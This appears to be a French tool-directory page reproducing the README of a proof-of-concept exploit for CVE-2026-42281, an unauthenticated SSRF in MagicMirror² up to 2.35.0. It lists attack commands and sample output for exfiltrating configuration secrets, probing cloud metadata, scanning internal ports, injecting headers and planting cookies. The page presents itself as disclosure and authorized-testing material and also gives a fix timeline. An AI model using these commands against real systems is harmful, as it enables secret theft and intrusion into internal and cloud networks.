Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42281 — Preuve de concept d'exploitation pour CVE-2026-42281, une SSRF non authentifiée dans MagicMirror² ≤ 2.35.0, permettant l'exfiltration de la configuration, le sondage des métadonnées cloud et le scan du réseau interne. | Kitploit
Outils/GitHubGitHub/astaruf/cve-2026-42281
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

Preuve de concept d'exploitation pour CVE-2026-42281, une SSRF non authentifiée dans MagicMirror² ≤ 2.35.0, permettant l'exfiltration de la configuration, le sondage des métadonnées cloud et le scan du réseau interne.

Voir le dépôt
1il y a 4 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42281 : MagicMirror² ≤ 2.35.0 - SSRF non authentifié via le point de terminaison /cors

Découvert et signalé par : Astaruf

Analyse complète : https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

Avis en amont : Avis de sécurité MagicMirrorOrg/MagicMirror

Entrée NVD :
https://nvd.nist.gov/vuln/detail/CVE-2026-42281

Ce dépôt héberge l'exploit de preuve de concept pour CVE-2026-42281, un SSRF non authentifié dans MagicMirror² ≤ 2.35.0 qui transforme le point de terminaison /cors en un proxy SSRF pleinement fonctionnel atteignant le loopback, les réseaux internes et les services de métadonnées cloud. Avec hideConfigSecrets: true, le même point de terminaison exfiltre également les valeurs process.env.SECRET_* en une seule requête.

Pour la revue de code complète, l'analyse de la vulnérabilité, le détail du correctif, la contestation du CVSS et la chronologie, consultez l'analyse complète sur nstsec.com. Ce README se concentre sur comment utiliser le PoC.

Preuve de concept

Prérequis

  • Python 3.8+
  • Aucune dépendance externe (utilise uniquement la bibliothèque standard)

Démarrage rapide

root@kitploit:~
# 1. Vérifier que la cible est vulnérable
python3 poc.py -t http://target:8080 --check

# 2. Exfiltrer la configuration de l'application (avec découverte automatique des secrets)
python3 poc.py -t http://target:8080 --config

# 3. Sonder les services de métadonnées cloud de plus de 10 fournisseurs
python3 poc.py -t http://target:8080 --cloud

# 4. Scan de ports du réseau interne via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Démontrer l'abus d'en-têtes entrants/sortants
python3 poc.py -t http://target:8080 --headers

# 6. Utiliser le serveur comme proxy ouvert générique
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Modes d'attaque

DrapeauDescription
--checkVérifier que le SSRF est exploitable via une requête loopback de /version
--configSSRF /config via loopback, analyser le JSON, rechercher les clés API / jetons / mots de passe dans les configurations des modules
--cloudSonder les services de métadonnées AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix ; suivi automatique de l'énumération des rôles IAM AWS
--port-scan HOSTSScanner un ou plusieurs hôtes (-p 22,80 / -p 0-1024 / -p - pour les 65535 ports), multithreadé
--headersPartie A : injecter des en-têtes Authorization/X-* dans la requête sortante via sendheaders. Partie B : transmettre un Set-Cookie contrôlé par l'attaquant depuis une origine malveillante vers le navigateur de la victime via expectedheaders
--open-proxy URLGET SSRF générique vers n'importe quelle URL, affiche le corps de la réponse (utile pour explorer les API HTTP internes)

Options supplémentaires

OptionDéfautDescription
-t / --targetrequisURL cible, ex. http://192.168.1.10:8080
--timeout2.0Délai d'expiration par requête en secondes
--threads30Threads pour --port-scan
--verbosedésactivéAfficher les réponses JSON complètes (et les corps de métadonnées cloud non expurgés)

Démonstration

1. Bannière du PoC et mode --check confirmant le SSRF :

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF non authentifié via le point de terminaison /cors
  Auteur : Astaruf | https://nstsec.com

  VÉRIFICATION, accessibilité de la cible et confirmation du SSRF
  [*] Vérification de l'accessibilité de la cible ...
  [+] Cible accessible, MagicMirror 2.35.0
  [*] Confirmation du SSRF via loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMÉ, le serveur a récupéré la ressource interne à notre place
      << 2.35.0

2. --config exfiltre la configuration de l'application et découvre automatiquement les secrets dans les configurations des modules :

root@kitploit:~
  EXFILTRATION DE LA CONFIGURATION, configuration complète via SSRF loopback
  [+] Configuration récupérée, 1194 octets
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] ouvert à toutes les IP

  SECRETS TROUVÉS :
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers confirme l'injection sortante et le transfert entrant :

root@kitploit:~
  INJECTION D'EN-TÊTES, abus d'en-têtes sortants et entrants
  [*] Partie A : injection d'en-têtes arbitraires dans les requêtes sortantes via sendheaders
  [+] En-tête X-Injected-By: SSRF-PoC confirmé dans la requête sortante
  [+] En-tête Authorization: Bearer DEMO_TOKEN confirmé dans la requête sortante

  [*] Partie B : transfert des en-têtes de réponse vers le navigateur via expectedheaders
  [+] En-tête de réponse Set-Cookie transféré au navigateur : session=hijacked;HttpOnly
  [+] Le navigateur reçoit ce cookie comme s'il provenait du domaine MagicMirror

4. --open-proxy confirme le HTTP sortant depuis le serveur :

root@kitploit:~
  PROXY OUVERT, récupération de https://httpbin.org/ip via le serveur vulnérable
  [+] HTTP 200, 32 octets reçus du serveur

{
  "origin": "<IP publique du serveur, pas celle de l'attaquant>"
}

Notes pour les tests

  • Le --check (et tous les autres modes) envoie un SSRF loopback vers http://127.0.0.1:<port>/version. Lors des tests via Docker, assurez-vous que le port hôte correspond au port du conteneur (ex. mappez 8080:8080, pas 8081:8080), sinon la cible loopback ne sera pas résolue depuis l'intérieur du conteneur même si l'instance est réellement vulnérable.
  • --cloud contre une instance non cloud (Raspberry Pi, bare metal) ne produit aucun résultat — c'est attendu et le script le signale explicitement. Le vecteur existe ; le tester nécessite un déploiement cloud réel.

Correctif

Livré dans MagicMirror² v2.36.0 (publié le 30 avril 2026). Le correctif est réparti sur six PR (#4084, #4087, #4090, #4091, #4102, #4104). Consultez l'analyse complète pour le détail par PR, les extraits de code et la matrice de vérification des tentatives de contournement re-testées contre la version corrigée.

Chronologie

DateÉvénement
2026-03-30Vulnérabilité découverte, problème public ouvert, e-mail envoyé au mainteneur
2026-03-31Le mainteneur a accusé réception du rapport
2026-04-01Les mainteneurs ont ajouté SECURITY.md et activé les avis de sécurité GitHub sur le dépôt
2026-04-09Avis GHSA formel ouvert
2026-04-26Correctif confirmé pour la prochaine version. CVE-2026-42281 attribuée par GitHub
2026-04-26Contestation du CVSS — vecteur relevé de Modéré à 9.2 Critique (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 publiée, correctif livré publiquement
2026-05-04Divulgation publique (analyse + dépôt PoC)

Références

  • Analyse complète — nstsec.com
  • CVE-2026-42281 — NVD
  • Dépôt officiel MagicMirror²
  • Notes de version MagicMirror² v2.36.0
  • CWE-918 : Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

Avertissement

Ce matériel est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. Utilisez-le uniquement contre des instances MagicMirror² que vous possédez ou pour lesquelles vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Licence

MIT

Télécharger l’outil